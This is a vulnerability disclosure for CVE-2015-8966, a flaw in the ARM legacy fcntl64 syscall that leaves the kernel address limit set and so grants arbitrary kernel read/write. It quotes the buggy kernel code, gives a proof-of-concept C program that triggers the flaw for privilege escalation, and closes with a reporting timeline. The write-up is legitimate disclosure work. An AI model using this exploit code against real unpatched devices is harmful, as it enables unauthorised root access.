Disclosure of AndroidID-31435731
This issue has been released in the December 2016 Android Security Bulletin.
I found it occasionlly Nov 2015. The root problem is very simple and clear, but it can lead privilege escalation easily.
It seems that this issue is not the first time to be discussed. So there is just an old CVE number(CVE-2015-8966) assigned to it, not a new one.
0x1 Analysis
The security bug exists in legacy syscall “fcntl64” of ARM architecture. The details as follow:
asmlinkage long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
unsigned long arg){
struct oabi_flock64 user;
struct flock64 kernel;
mm_segment_t fs = USER_DS; /* initialized to kill a warning */
unsigned long local_arg = arg;
int ret;
switch (cmd) {
case F_OFD_GETLK:
case F_OFD_SETLK:
case F_OFD_SETLKW:
case F_GETLK64:
case F_SETLK64:
case F_SETLKW64:
if (copy_from_user(&user, (struct oabi_flock64 __user *)arg,
sizeof(user)))
return -EFAULT;
kernel.l_type = user.l_type;
kernel.l_whence = user.l_whence;
kernel.l_start = user.l_start;
kernel.l_len = user.l_len;
kernel.l_pid = user.l_pid;
local_arg = (unsigned long)&kernel;
fs = get_fs();
set_fs(KERNEL_DS); //[1]
}
ret = sys_fcntl64(fd, cmd, local_arg);
switch (cmd) {
case F_GETLK64:
if (!ret) {
...
}
case F_SETLK64:
case F_SETLKW64:
set_fs(fs); //[2]
}
return ret;
At point [1], the KERNEL_DS is set directly. And it tries to set back at point [2]. If the cmd is one of “{F_OFD_GETLK, F_OFD_SETLK, F_OFD_SETLKW}”, the USER_DS will not set back at point [2]. So it can gain the ability of arbitrary kernel read/write, which can lead privilege escalation.
0x2 Proof Of Concept
The poc code as follow:
__attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
__asm __volatile (
"swi 0x9000DD\n"
"mov pc, lr\n"
:
:
:
);
}
#define F_OFD_GETLK 36
#define F_OFD_SETLK 37
#define F_OFD_SETLKW 38
int main(int argc, char const *argv[]){
int fd = open("/proc/cpuinfo", O_RDONLY);
struct flock *map_base = 0;
if(fd == -1){
perror("open");
return -1;
}
map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(map_base == (void*)-1){
perror("mmap");
goto _done;
}
printf("map_base %p\n", map_base);
memset(map_base, 0, 0x1000);
map_base->l_start = SEEK_SET;
if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
perror("sys_oabi_fcntl64");
}
// Arbitrary kernel read/write test
if(try_to_read_kernel()){
printf("pwnned !\n");
}
munmap(map_base, 0x1000);
_done:
close(fd);
return 0;
}
This vulnerability exists in kernel from 3.15 to 4.3. It only impacts Android kernel 3.18.
0x3 Timeline
Sep 10, 2016 - reported the issue to Kernel Security
Sep 15, 2016 - Kernel Security prepared to fix it in next round of stable kernels
Sep 10, 2016 - reported the issue to Google after tested on goldfish 3.18
Sep 12, 2016 - Google reviewed the issue and set the severity to Critical
Oct 04, 2016 - Google determined that this issue does not impact any Google devices
Dec 05, 2016 - released in December 2016 Android Security Bulletin